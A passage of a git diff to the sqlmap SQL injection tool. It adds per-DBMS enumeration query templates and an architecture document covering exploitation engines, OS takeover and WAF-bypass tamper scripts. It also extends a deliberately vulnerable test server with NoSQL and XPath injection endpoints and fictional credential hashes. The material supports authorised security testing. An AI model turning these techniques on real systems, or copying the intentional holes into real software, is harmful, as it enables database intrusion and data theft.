+            <inband query="SELECT column_name,spanner_type FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND table_schema=CASE '%s' WHEN 'default' THEN '' ELSE '%s' END" condition="column_name"/>
+            <blind query="SELECT column_name FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND table_schema=CASE '%s' WHEN 'default' THEN '' ELSE '%s' END ORDER BY column_name" query2="SELECT spanner_type FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND column_name='%s' AND table_schema=CASE '%s' WHEN 'default' THEN '' ELSE '%s' END" count="SELECT COUNT(column_name) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND table_schema=CASE '%s' WHEN 'default' THEN '' ELSE '%s' END" condition="column_name"/>
+        </columns>
+        <dump_table>
+            <inband query="SELECT %s FROM %s.%s ORDER BY %s"/>
+            <blind query="SELECT %s FROM %s.%s ORDER BY %s LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM %s.%s"/>
+        </dump_table>
+        <search_db>
+            <inband query="SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA WHERE %s" condition="schema_name"/>
+            <blind query="SELECT DISTINCT(schema_name) FROM INFORMATION_SCHEMA.SCHEMATA WHERE %s ORDER BY schema_name" count="SELECT COUNT(DISTINCT(schema_name)) FROM INFORMATION_SCHEMA.SCHEMATA WHERE %s" condition="schema_name"/>
+        </search_db>
+        <search_table>
+            <inband query="SELECT table_schema,table_name FROM INFORMATION_SCHEMA.TABLES WHERE %s" condition="table_name" condition2="table_schema"/>
+            <blind query="SELECT DISTINCT(table_schema) FROM INFORMATION_SCHEMA.TABLES WHERE %s ORDER BY table_schema" query2="SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s'" count="SELECT COUNT(DISTINCT(table_schema)) FROM INFORMATION_SCHEMA.TABLES WHERE %s" count2="SELECT COUNT(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s'" condition="table_name" condition2="table_schema"/>
+        </search_table>
+        <search_column>
+            <inband query="SELECT table_schema,table_name FROM INFORMATION_SCHEMA.COLUMNS WHERE %s" condition="column_name" condition2="table_schema" condition3="table_name"/>
+            <blind query="SELECT DISTINCT(table_schema) FROM INFORMATION_SCHEMA.COLUMNS WHERE %s ORDER BY table_schema" query2="SELECT DISTINCT(table_name) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema='%s'" count="SELECT COUNT(DISTINCT(table_schema)) FROM INFORMATION_SCHEMA.COLUMNS WHERE %s" count2="SELECT COUNT(DISTINCT(table_name)) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema='%s'" condition="column_name" condition2="table_schema" condition3="table_name"/>
+        </search_column>
+    </dbms>
 </root>

doc/ARCHITECTURE.md

@@ -0,0 +1,237 @@
+# sqlmap architecture
+
+A contributor-oriented map of how sqlmap is put together: the major components,
+how a run flows through them, and where to start looking for a given concern.
+
+> This is a map, not a spec. It describes the durable structure and data flow; for
+> exact signatures, option names, and enumerable lists (tampers, DBMSes, options),
+> the source is authoritative. **When this document disagrees with the code, the code wins.**
+
+sqlmap runs on both Python 2.7 and 3.x; sources are kept pure-ASCII unless a literal
+non-ASCII byte is unavoidable. Compatibility shims live in `lib/core/compat.py` and
+`thirdparty/six`.
+
+---
+
+## 1. Entry points
+
+| Entry | File | Purpose |
+|-------|------|---------|
+| CLI | `sqlmap.py` -> `main()` | the scanner. Applies runtime patches, parses options, runs a scan. |
+| REST API | `sqlmapapi.py` | `-s` server / `-c` client wrappers around `lib/utils/api.py`. |
+
+`main()` (sqlmap.py) does, in order: `dirtyPatches()` (monkey-patches stdlib for
+quirks/security - see below), `setPaths()`, `init()` (option parsing + environment
+setup), then dispatches to `start()` for a normal scan, or to the self-tests
+(`--smoke` / `--vuln-test` / `--api-test`) in `lib/core/testing.py`.
+
+---
+
+## 2. Global state: `conf` and `kb`
+
+Almost everything hangs off two process-global singletons defined in `lib/core/data.py`,
+both `AttribDict` (attribute-accessible dicts; missing keys read back as `None`):
+
+- **`conf`** - the resolved user configuration (options + derived settings). What the
+  user asked for.
+- **`kb`** ("knowledge base") - mutable runtime state discovered during a run
+  (identified DBMS, injection points, page templates, caches, locks, counters).
+
+The configuration pipeline (`lib/core/`):
+
+- `parse/cmdline.py` - argparse definition of every CLI option.
+- `core/optiondict.py` - option name -> type map (used for config-file/API coercion).
+- `core/defaults.py` - default values.
+- `core/option.py` - the heavy lifter: `_setConfAttributes()`, `_setKnowledgeBaseAttributes()`,
+  `_setHTTPHandlers()` (installs the global urllib opener incl. keep-alive), DBMS/encoding
+  setup, etc. Merges CLI + config file + defaults into `conf`/`kb`.
+- `core/settings.py` - constants, version, regexes, thresholds. **New constants go here.**
+
+Identifiers in the codebase are camelCase.
+
+---
+
+## 3. Top-level layout
+
+| Path | Responsibility |
+|------|----------------|
+| `lib/core/` | conf/kb model, common helpers, settings, enums, dump, session, agent, option parsing |
+| `lib/controller/` | the scan orchestrator (`controller.py`), detection checks (`checks.py`), enumeration dispatch (`action.py`), DBMS handler selection (`handler.py`) |
+| `lib/request/` | HTTP layer: `connect.py` (sending), `comparison.py` (the true/false oracle), `inject.py` (value extraction), protocol handlers, response processing |
+| `lib/techniques/` | the exploitation engines: `blind/inference.py`, `error/use.py`, `union/{test,use}.py`, `dns/` |
+| `lib/parse/` | parsing of inputs: CLI, config, HTTP request/log files, HTML, sitemap, and the XML payload/boundary loader (`payloads.py`) |
+| `lib/utils/` | feature modules: `api.py` (REST), `hashdb.py` (session), `crawler.py`, `hash.py` (cracking), `har.py`, `brute.py`, `search.py`, ... |
+| `lib/takeover/` | OS-level takeover: shells, file access, UDF, registry, Metasploit, `xp_cmdshell` |
+| `plugins/generic/` | DBMS-agnostic enumeration/fingerprint/filesystem/takeover base classes |
+| `plugins/dbms/<dbms>/` | per-DBMS subclasses + dialect (one dir per supported DBMS) |
+| `tamper/` | payload-mutation scripts (WAF bypass), one `tamper()` per file |
+| `data/xml/` | the data-driven engine: `boundaries.xml`, `payloads/*.xml`, `queries.xml`, `errors.xml` |
+| `data/` (other) | wordlists/common tables/columns (`txt/`), UDFs (`udf/`), stored procs (`procs/`), shells (`shell/`) |
+| `tests/` | stdlib-unittest suite (offline); see section 11 |
+| `thirdparty/` | vendored dependencies (six, bottle, chardet, ...) - no pip at runtime |
+| `extra/` | auxiliary tools (e.g. `vulnserver` used by `--vuln-test`) |
+
+---
+
+## 4. The scan lifecycle (`lib/controller/controller.py: start()`)
+
+For each target:
+
+1. **Target setup** - `initTargetEnv()` / `setupTargetEnv()` (`lib/core/target.py`):
+   resolve URL/params, open the per-target output dir and session file
+   (`conf.hashDBFile`), and **resume** anything already known (DBMS, injection points,
+   cached values) from the session.
+2. **Connection & profiling** (`lib/controller/checks.py`): `checkConnection()`,
+   `checkWaf()` (fills `kb.identifiedWafs`), `checkStability()` /
+   dynamic-content detection (establishes `kb.pageTemplate`, `kb.matchRatio`).
+3. **Heuristics** - `heuristicCheckSqlInjection()` (cheap error-based hint).
+4. **Detection** - `checkSqlInjection(place, parameter, value)` per parameter, driven by
+   the data engine (section 5). Confirmed points are appended to `kb.injections`.
+5. **Fingerprint & handler** - `lib/controller/handler.py: setHandler()` identifies the
+   back-end DBMS and assigns `conf.dbmsHandler`, the object through which all
+   enumeration is dispatched (section 7).
+6. **Action** - `action()` (`lib/controller/action.py`) routes the requested operation
+   (`--banner`, `--dbs`, `--tables`, `--dump`, `--sql-query`, `--os-shell`, ...) to
+   `conf.dbmsHandler` methods, and feeds results to `conf.dumper`.
+
+If nothing is injectable, the dead-end advisory (level/risk, technique, `--text-only`,
+`--tamper` - definitive when `kb.identifiedWafs` is set) is raised as
+`SqlmapNotVulnerableException`.
+
+---
+
+## 5. The data-driven detection engine
+
+Detection behavior lives in **data, not code** - `data/xml/`, loaded by
+`lib/parse/payloads.py` (`loadBoundaries()`, `loadPayloads()`):
+
+- **`boundaries.xml`** - injection *boundaries*: prefix/suffix pairs and the
+  clause/where/parameter-type context they apply to (e.g. quote vs. numeric contexts).
+- **`payloads/*.xml`** - the *tests*, one file per technique
+  (`boolean_blind`, `error_based`, `inline_query`, `stacked_queries`, `time_blind`,
+  `union_query`), each with the request template and the comparison/grep logic that
+  decides success.
+
+`getSortedInjectionTests()` (`lib/core/common.py`) orders the candidate tests by the
+identified/likely DBMS, `--level`, and `--risk`. The **agent** (`lib/core/agent.py`)
+forges the actual payload string - applying boundary prefix/suffix, the `[RANDNUM]`/
+`[DELIMITER]`-style markers, comments, and tamper scripts. Requests go out via
+`lib/request/connect.py`; the **oracle** `lib/request/comparison.py` decides true/false
+by comparing the response against `kb.pageTemplate` (difflib ratio vs. `kb.matchRatio`,
+plus titles/errors/HTTP-code signals).
+
+---
+
+## 6. Exploitation techniques
+
+Once a parameter is injectable, value extraction is dispatched by
+`lib/request/inject.py: getValue()` to the matching engine in `lib/techniques/`:
+
+| Technique | Engine | Mechanism |
+|-----------|--------|-----------|
+| boolean-based blind | `blind/inference.py: bisection()` | binary-search each character via true/false oracle |
+| time-based blind / stacked | `blind/inference.py` (time compare) | same bisection, oracle is a measured delay |
+| error-based | `error/use.py: errorUse()` | parse the value straight out of a provoked DB error |
+| UNION query | `union/{test,use}.py` | column-count detection then `UNION SELECT` extraction |
+| inline query | (inline, via inject) | value embedded in the original query position |
+| DNS exfiltration | `dns/` | `--dns-domain` out-of-band channel |
+
+`bisection()` is the hot loop; it caches the `--charset` table in
+`kb.cache.charsetAsciiTbl` and respects the `kb.disableShiftTable` runaway-guard latch
+(intentional). Multi-threaded extraction is coordinated via `kb.locks` and
+`getCurrentThreadData()` (`lib/core/threads.py`).
+
+---
+
+## 7. DBMS abstraction
+
+Enumeration is DBMS-agnostic at the top and specialized underneath:
+
+- **`plugins/generic/`** - base classes for each concern: `fingerprint.py`,
+  `enumeration.py`, `databases.py`, `entries.py`, `users.py`, `filesystem.py`,
+  `takeover.py`, `syntax.py`, `misc.py`, `search.py`, `custom.py`, `connector.py`
+  (direct DB connection for `-d`).
+- **`plugins/dbms/<dbms>/`** - one directory per supported DBMS, subclassing the generic
+  pieces and supplying dialect specifics.
+- **`data/xml/queries.xml`** - per-DBMS SQL query templates (banner, current user, table
+  enumeration, casting, etc.) keyed by DBMS. The generic code asks for a query by name;
+  the dialect comes from XML.
+
+`conf.dbmsHandler` (set in `handler.py`) is the live object that `action()` calls into.
+
+---
+
+## 8. Output and session
+
+- **Output** - `conf.dumper` is a `Dump` instance (`lib/core/dump.py`): console tables
+  plus per-table file export in CSV / HTML / SQLITE / JSONL (`--dump-format`). Logging
+  is via `logger` (`lib/core/log.py`).
+- **Session / resume** - each target gets a SQLite session file
+  (`<output>/<host>/session.sqlite`). `hashDBWrite()` / `hashDBRetrieve()`
+  (`lib/core/common.py`, backed by `lib/utils/hashdb.py`) cache injection points,
+  fingerprint, and extracted values so a re-run *resumes* instead of re-testing
+  (`--flush-session` discards it; `--fresh-queries` ignores cached query results). A
+  stale-session nudge fires on resume when the file is older than `HASHDB_STALE_DAYS`.
+
+---
+
+## 9. Request layer and tampering
+
+`lib/request/connect.py` (`Connect.getPage`) is the single HTTP chokepoint. Around it:
+protocol handlers (`httpshandler`, `redirecthandler`, `chunkedhandler`, `rangehandler`,
+persistent connections via `lib/request/keepalive.py`), response processing (`basic.py`), and the
+comparison oracle (`comparison.py`).
+
+**Tamper scripts** (`tamper/`) mutate the payload just before sending to evade WAF/IPS.
+Each file exposes a `tamper(payload, **kwargs)` and a `__priority__`; `--tamper=a,b,c`
+chains them in priority order. They are payload-string transforms only (no engine
+coupling), which is why they compose freely.
+
+---
+
+## 10. REST API and JSON report
+
+`lib/utils/api.py` runs a Bottle server (`sqlmapapi.py -s`) that drives sqlmap scans as
+subprocesses and exposes them over HTTP. Key pieces: `DataStore`/`Task` (task registry),
+an IPC SQLite `Database` (the subprocess writes results/logs/errors back through
+`StdDbOut`), and the route handlers (`/task/*`, `/option/*`, `/scan/*`, `/version`, ...).
+The contract is documented in `sqlmapapi.yaml` (OpenAPI) and `REST-API.md`.
+
+`--report-json` reuses the *same* assembly code (`_assembleData` / `_sanitizeScanData`)
+that the `/scan/<id>/data` endpoint uses, so the CLI report and the API result can't
+drift; `RESTAPI_VERSION` is the API contract version (major exposed as integer).
+
+---
+
+## 11. Tests and self-tests
+
+Two complementary layers:
+
+- **Offline unit/regression suite** (`tests/`) - stdlib `unittest` only (no pytest/pip),
+  green on py2 + py3. `_testutils.py` bootstraps global state and provides the
+  property/fuzz harness (`Rng` - a cross-version-identical PRNG - and `for_all`). Run:
+  `python -B -m unittest discover -s tests -p "test_*.py"` (`-B` matters: a cached `.pyc`
+  makes a `getFileType(__file__)` doctest see `binary`).
+- **In-tree self-tests** (`lib/core/testing.py`, hidden switches): `--smoke-test`
+  (doctests + regex sanity over the whole tree), `--vuln-test` (end-to-end scans against
+  the bundled `extra/vulnserver`), `--api-test` (live REST round-trip). The CI workflow
+  (`.github/workflows/tests.yml`) runs all of these.
+
+---
+
+## 12. "Where do I start for ...?"
+
+| I want to change... | Start in |
+|---------------------|----------|
+| a CLI option | `lib/parse/cmdline.py` (+ `optiondict.py`, `defaults.py`) |
+| a constant/threshold | `lib/core/settings.py` |
+| how injection is *detected* | `data/xml/boundaries.xml` + `data/xml/payloads/*.xml`, then `lib/controller/checks.py` |
+| how a value is *extracted* | `lib/request/inject.py` + the relevant `lib/techniques/` engine |
+| the true/false decision | `lib/request/comparison.py` |
+| a per-DBMS query/dialect | `data/xml/queries.xml` + `plugins/dbms/<dbms>/` |
+| enumeration behavior | `plugins/generic/*.py` |
+| dump/output format | `lib/core/dump.py` |
+| a WAF-bypass transform | add a file under `tamper/` |
+| the REST API surface | `lib/utils/api.py` (+ keep `sqlmapapi.yaml` in sync) |
+| session/resume behavior | `lib/utils/hashdb.py` + `hashDB*` in `lib/core/common.py` |
+| a stdlib monkey-patch / security shim | `lib/core/patch.py` |

doc/THANKS.md

@@ -175,7 +175,7 @@ Ivan Giacomelli, <truemilk(at)insiberia.net>
 * for reviewing the documentation
 
 Dimitris Giannitsaros, <daremon(at)gmail.com>
-* for contributing a REST-JSON API client
+* for contributing a REST API client
 
 Nico Golde, <nico(at)ngolde.de>
 * for reporting a couple of bugs

doc/THIRD-PARTY.md

@@ -15,7 +15,7 @@ This file lists bundled packages and their associated licensing terms.
   Copyright (C) 2013, Jonathan Hartley.
 * The `Fcrypt` library located under `thirdparty/fcrypt/`.
   Copyright (C) 2000, 2001, 2004 Carey Evans.
-* The `SocksiPy` library located under `thirdparty/socks/`.
+* The `PySocks` library located under `thirdparty/socks/`.
   Copyright (C) 2006, Dan-Haim.
 
 ````
@@ -46,8 +46,6 @@ SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 
 * The `Chardet` library located under `thirdparty/chardet/`.
   Copyright (C) 2008, Mark Pilgrim.
-* The `KeepAlive` library located under `thirdparty/keepalive/`.
-  Copyright (C) 2002-2003, Michael D. Stenner.
 * The `MultipartPost` library located under `thirdparty/multipart/`.
   Copyright (C) 2006, Will Holcomb.
 * The `icmpsh` tool located under `extra/icmpsh/`.

doc/translations/README-ar-AR.md

@@ -58,7 +58,7 @@
 ----
 
 * الصفحة الرئيسية: https://sqlmap.org
-* التحميل: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) أو [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
+* التحميل: [‪.tar.gz‬](https://github.com/sqlmapproject/sqlmap/tarball/master) أو [‪.zip‬](https://github.com/sqlmapproject/sqlmap/zipball/master)
 * تغذية التحديثات RSS: https://github.com/sqlmapproject/sqlmap/commits/master.atom
 * تتبع المشكلات: https://github.com/sqlmapproject/sqlmap/issues
 * دليل المستخدم: https://github.com/sqlmapproject/sqlmap/wiki

extra/cloak/cloak.py

@@ -21,7 +21,7 @@ if sys.version_info >= (3, 0):
     xrange = range
     ord = lambda _: _
 
-KEY = b"wr36EPIvaR7ZDfb4"
+KEY = b"ZCuk6GdHSj4KtgDq"
 
 def xor(message, key):
     return b"".join(struct.pack('B', ord(message[i]) ^ ord(key[i % len(key)])) for i in range(len(message)))
@@ -43,8 +43,6 @@ def decloak(inputFile=None, data=None):
         print(ex)
         print('ERROR: the provided input file \'%s\' does not contain valid cloaked content' % inputFile)
         sys.exit(1)
-    finally:
-        f.close()
 
     return data
 

extra/shutils/pypi.sh

@@ -63,6 +63,10 @@ setup(
     },
 )
 EOF
+cat > "$TMP_DIR/setup.cfg" << "EOF"
+[bdist_wheel]
+universal = 1
+EOF
 wget "https://github.com/sqlmapproject/sqlmap/archive/$VERSION.zip" -O sqlmap.zip
 unzip sqlmap.zip
 rm sqlmap.zip

extra/vulnserver/vulnserver.py

@@ -24,6 +24,7 @@ UNICODE_ENCODING = "utf-8"
 DEBUG = False
 
 if PY3:
+    from http.client import FORBIDDEN
     from http.client import INTERNAL_SERVER_ERROR
     from http.client import NOT_FOUND
     from http.client import OK
@@ -35,6 +36,7 @@ if PY3:
 else:
     from BaseHTTPServer import BaseHTTPRequestHandler
     from BaseHTTPServer import HTTPServer
+    from httplib import FORBIDDEN
     from httplib import INTERNAL_SERVER_ERROR
     from httplib import NOT_FOUND
     from httplib import OK
@@ -115,11 +117,184 @@ SCHEMA = """
     INSERT INTO creds (user_id, password_hash) VALUES (28, '908f7e6d5c4b3a291807f6e5d4c3b2a1');
     INSERT INTO creds (user_id, password_hash) VALUES (29, '3049b791fa83e2f42f37bae18634b92d');
     INSERT INTO creds (user_id, password_hash) VALUES (30, 'd59a348f90d757c7da30418773424b5e');
+
+    CREATE TABLE directory (
+        dn TEXT,
+        uid TEXT,
+        cn TEXT,
+        sn TEXT,
+        givenName TEXT,
+        displayName TEXT,
+        userPassword TEXT,
+        mail TEXT,
+        objectClass TEXT,
+        objectCategory TEXT,
+        ou TEXT,
+        title TEXT,
+        department TEXT,
+        company TEXT,
+        o TEXT,
+        telephoneNumber TEXT,
+        mobile TEXT,
+        manager TEXT,
+        description TEXT,
+        l TEXT,
+        st TEXT,
+        street TEXT,
+        postalCode TEXT,
+        c TEXT,
+        employeeNumber TEXT,
+        employeeType TEXT,
+        member TEXT
+    );
+    -- Column order: dn, uid, cn, sn, givenName, displayName, userPassword, mail,
+    --               objectClass, objectCategory, ou, title, department, company, o,
+    --               telephoneNumber, mobile, manager, description, l, st, street,
+    --               postalCode, c, employeeNumber, employeeType, member
+    INSERT INTO directory VALUES ('uid=luther,ou=users,dc=example,dc=com', 'luther', 'Luther Blisset', 'Blisset', 'Luther', 'Luther Blisset', 'db3a16990a0008a3b04707fdef6584a0', '[email protected]', 'inetOrgPerson', 'Person', 'users', 'System Administrator', 'IT Operations', 'Example Corp', 'Example', '+1 555 0100', '+1 555 0101', 'uid=ada,ou=users,dc=example,dc=com', 'System administrator', 'London', 'Greater London', '10 Downing Street', 'SW1A 2AA', 'GB', '1001', 'Employee', NULL);
+    INSERT INTO directory VALUES ('uid=fluffy,ou=users,dc=example,dc=com', 'fluffy', 'Fluffy Bunny', 'Bunny', 'Fluffy', 'Fluffy Bunny', '4db967ce67b15e7fb84c266a76684729', '[email protected]', 'inetOrgPerson', 'Person', 'users', 'Security Engineer', 'Security', 'Example Corp', 'Example', '+1 555 0102', '+1 555 0103', NULL, 'Security engineer', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
+    INSERT INTO directory VALUES ('uid=wu,ou=users,dc=example,dc=com', 'wu', 'Wu Ming', 'Ming', 'Wu', 'Wu Ming', 'f5a2950eaa10f9e99896800eacbe8275', '[email protected]', 'inetOrgPerson', 'Person', 'users', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Developer', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
+    INSERT INTO directory VALUES ('uid=mark,ou=users,dc=example,dc=com', 'mark', 'Mark Lewis', 'Lewis', 'Mark', 'Mark Lewis', '179ad45c6ce2cb97cf1029e212046e81', '[email protected]', 'inetOrgPerson', 'Person', 'users', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Project manager', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
+    INSERT INTO directory VALUES ('uid=ada,ou=users,dc=example,dc=com', 'ada', 'Ada Lovelace', 'Lovelace', 'Ada', 'Ada Lovelace', '0f1e2d3c4b5a69788796a5b4c3d2e1f0', '[email protected]', 'inetOrgPerson', 'Person', 'users', 'Mathematician', 'Research', 'Example Corp', 'Example', '+1 555 0104', NULL, NULL, 'Mathematician', 'Cambridge', NULL, NULL, NULL, NULL, NULL, NULL, NULL);
+    INSERT INTO directory VALUES ('uid=grace,ou=users,dc=example,dc=com', 'grace', 'Grace Hopper', 'Hopper', 'Grace', 'Grace Hopper', 'a1b2c3d4e5f60718293a4b5c6d7e8f90', '[email protected]', 'inetOrgPerson', 'Person', 'users', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Computer scientist', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
+    INSERT INTO directory VALUES ('uid=alan,ou=users,dc=example,dc=com', 'alan', 'Alan Turing', 'Turing', 'Alan', 'Alan Turing', '1a2b3c4d5e6f708192a3b4c5d6e7f809', '[email protected]', 'inetOrgPerson', 'Person', 'users', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Cryptanalyst', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
+    INSERT INTO directory VALUES ('uid=margaret,ou=users,dc=example,dc=com', 'margaret', 'Margaret Hamilton', 'Hamilton', 'Margaret', 'Margaret Hamilton', '9f8e7d6c5b4a3928170605f4e3d2c1b0', '[email protected]', 'inetOrgPerson', 'Person', 'users', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Software engineer', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
+    INSERT INTO directory VALUES ('uid=donald,ou=users,dc=example,dc=com', 'donald', 'Donald Knuth', 'Knuth', 'Donald', 'Donald Knuth', '3c2d1e0f9a8b7c6d5e4f30291807f6e5', '[email protected]', 'inetOrgPerson', 'Person', 'users', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Computer scientist', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
+    INSERT INTO directory VALUES ('uid=tim,ou=users,dc=example,dc=com', 'tim', 'Tim Berners-Lee', 'Berners-Lee', 'Tim', 'Tim Berners-Lee', 'b0c1d2e3f405162738495a6b7c8d9eaf', '[email protected]', 'inetOrgPerson', 'Person', 'users', 'Inventor', 'Research', 'Example Corp', 'Example', '+1 555 0105', NULL, NULL, 'Inventor of the Web', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
+    INSERT INTO directory VALUES ('uid=linus,ou=users,dc=example,dc=com', 'linus', 'Linus Torvalds', 'Torvalds', 'Linus', 'Linus Torvalds', '6e5d4c3b2a190807f6e5d4c3b2a1908f', '[email protected]', 'inetOrgPerson', 'Person', 'users', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Kernel developer', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
+    INSERT INTO directory VALUES ('uid=ken,ou=users,dc=example,dc=com', 'ken', 'Ken Thompson', 'Thompson', 'Ken', 'Ken Thompson', '11223344556677889900aabbccddeeff', '[email protected]', 'inetOrgPerson', 'Person', 'users', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Unix co-creator', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
+    INSERT INTO directory VALUES ('uid=dennis,ou=users,dc=example,dc=com', 'dennis', 'Dennis Ritchie', 'Ritchie', 'Dennis', 'Dennis Ritchie', 'ffeeddccbbaa00998877665544332211', '[email protected]', 'inetOrgPerson', 'Person', 'users', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'C language creator', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
+    INSERT INTO directory VALUES ('uid=barbara,ou=users,dc=example,dc=com', 'barbara', 'Barbara Liskov', 'Liskov', 'Barbara', 'Barbara Liskov', '1234567890abcdef1234567890abcdef', '[email protected]', 'inetOrgPerson', 'Person', 'users', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Turing Award winner', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
+    INSERT INTO directory VALUES ('uid=edsger,ou=users,dc=example,dc=com', 'edsger', 'Edsger Dijkstra', 'Dijkstra', 'Edsger', 'Edsger Dijkstra', 'abcdef1234567890abcdef1234567890', '[email protected]', 'inetOrgPerson', 'Person', 'users', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Computer scientist', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
+    INSERT INTO directory VALUES ('ou=users,dc=example,dc=com', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'organizationalUnit', NULL, 'users', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'User accounts', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
+    INSERT INTO directory VALUES ('ou=groups,dc=example,dc=com', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'organizationalUnit', NULL, 'groups', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Group entries', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
+    INSERT INTO directory VALUES ('cn=admins,ou=groups,dc=example,dc=com', NULL, 'admins', NULL, NULL, NULL, NULL, NULL, 'groupOfNames', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Administrators group', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'uid=luther,ou=users,dc=example,dc=com');
+    INSERT INTO directory VALUES ('cn=admins,ou=groups,dc=example,dc=com', NULL, 'admins', NULL, NULL, NULL, NULL, NULL, 'groupOfNames', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Administrators group', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'uid=ada,ou=users,dc=example,dc=com');
+    INSERT INTO directory VALUES ('cn=developers,ou=groups,dc=example,dc=com', NULL, 'developers', NULL, NULL, NULL, NULL, NULL, 'groupOfNames', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Developers group', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'uid=wu,ou=users,dc=example,dc=com');
+    INSERT INTO directory VALUES ('cn=developers,ou=groups,dc=example,dc=com', NULL, 'developers', NULL, NULL, NULL, NULL, NULL, 'groupOfNames', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Developers group', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'uid=linus,ou=users,dc=example,dc=com');
 """
 
 LISTEN_ADDRESS = "localhost"
 LISTEN_PORT = 8440
 
+# Minimal MongoDB-style collection backing the NoSQL operator-injection endpoint ('/nosql'). The
+# 'password' field is the blind-extraction target, constrained by a sibling 'name' equality match.
+NOSQL_USERS = {
+    "luther": "s3cr3t",
+    "fluffy": "carrot",
+    "wu": "shanghai",
+}
+
+def nosql_match(params):
+    """Emulates a MongoDB find() on NOSQL_USERS: reconstructs the operator object for the 'password'
+    field (from bracket-notation 'password[$ne]=...' or a JSON sub-document) and evaluates it against
+    the record selected by 'name'. An invalid $regex raises re.error (surfaced as a driver error)."""
+
+    record = NOSQL_USERS.get(params.get("name"))
+
+    spec = params.get("password")
+    if isinstance(spec, dict):
+        op, value = next(iter(spec.items()), ("$eq", None))
+    else:
+        op, value = "$eq", spec
+        for key in params:
+            match = re.match(r"^password\[(\$\w+)\](?:\[\])?$", key)
+            if match:
+                op, value = match.group(1), params[key]
+                break
+
+    if isinstance(value, (tuple, list)):
+        value = value[-1] if value else None
+
+    if record is None:
+        return False
+    elif op == "$ne":
+        return record != value
+    elif op == "$gt":
+        return record > (value or "")
+    elif op == "$regex":
+        return re.search(value, record) is not None
+    else:           # $eq, $in (single-valued here) and any literal equality
+        return record == value
+
+# --- XPath endpoint (vulnerable search and login, backed by an in-memory XML document) ------------
+
+XPATH_XML = """<?xml version="1.0" encoding="UTF-8"?>
+<directory>
+  <department name="IT Operations">
+    <user id="1">
+      <username>luther</username>
+      <realname>Luther Blisset</realname>
+      <email>[email protected]</email>
+      <password>db3a16990a0008a3b04707fdef6584a0</password>
+      <role>System Administrator</role>
+      <location>London</location>
+      <phone>+1 555 0100</phone>
+    </user>
+    <user id="2">
+      <username>fluffy</username>
+      <realname>Fluffy Bunny</realname>
+      <email>[email protected]</email>
+      <password>4db967ce67b15e7fb84c266a76684729</password>
+      <role>Security Engineer</role>
+      <location>Amsterdam</location>
+      <phone>+1 555 0102</phone>
+    </user>
+    <user id="3">
+      <username>wu</username>
+      <realname>Wu Ming</realname>
+      <email>[email protected]</email>
+      <password>f5a2950eaa10f9e99896800eacbe8275</password>
+      <role>Network Administrator</role>
+      <location>Shanghai</location>
+      <phone>+86 21 555 0103</phone>
+    </user>
+  </department>
+  <department name="Engineering">
+    <user id="4">
+      <username>linus</username>
+      <realname>Linus Torvalds</realname>
+      <email>[email protected]</email>
+      <password>8e7b6a5c4d321908f7e6d5c4b3a2910f</password>
+      <role>Kernel Developer</role>
+      <location>Portland</location>
+      <phone>+1 555 0200</phone>
+    </user>
+    <user id="5">
+      <username>ada</username>
+      <realname>Ada Lovelace</realname>
+      <email>[email protected]</email>
+      <password>1a2b3c4d5e6f7081920a1b2c3d4e5f60</password>
+      <role>Algorithm Designer</role>
+      <location>London</location>
+      <phone>+44 20 555 0201</phone>
+    </user>
+  </department>
+  <department name="Management">
+    <user id="6">
+      <username>grace</username>
+      <realname>Grace Hopper</realname>
+      <email>[email protected]</email>
+      <password>9e8d7c6b5a493827160e9d8c7b6a5948</password>
+      <role>CTO</role>
+      <location>New York</location>
+      <phone>+1 555 0300</phone>
+    </user>
+  </department>
